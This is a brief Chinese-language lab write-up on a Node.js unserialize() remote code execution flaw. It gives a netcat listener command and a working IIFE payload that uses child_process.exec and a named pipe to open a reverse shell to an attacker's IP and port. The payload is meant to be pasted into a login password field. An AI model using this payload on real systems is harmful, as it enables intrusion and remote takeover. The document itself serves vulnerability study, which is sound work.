0x00 漏洞介绍
node.js 存在反序列化远程代码任意执行漏洞,若不可信数据传入 unserialize()
函数中,通过 Javascript中的函数表达式(IIFE)在对象被创建时调用 serialize()
函数, 可以实现任意代码执行。
0x01 漏洞复现
- 首先,访问实验环境中搭建好的网站,可以看到一个node.js的登录页面
- 接着使用nc监听本地端口,用于接受漏洞环境的反弹shell,
在linux终端中执行如下命令:
nc -lv -p 8080
表示监听本地8080端口。
2.PNG- exp代码如下所示:
_$$ND_FUNC$$_function (){require('child_process').exec('mknod backpipe p; nc <ip> <port> 0<backpipe | /bin/bash ]>backpipe')}()
修改其中的<ip>为 本机ip,<port>为8080端口,用户名任意填写,复制exp到密码框,点击登录即可。
- 在终端执行linux命令,发现执行成功,说明漏洞利用成功!
0x02 漏洞修复
要修复此漏洞,只要将node.js升级到最新版本即可。
网友评论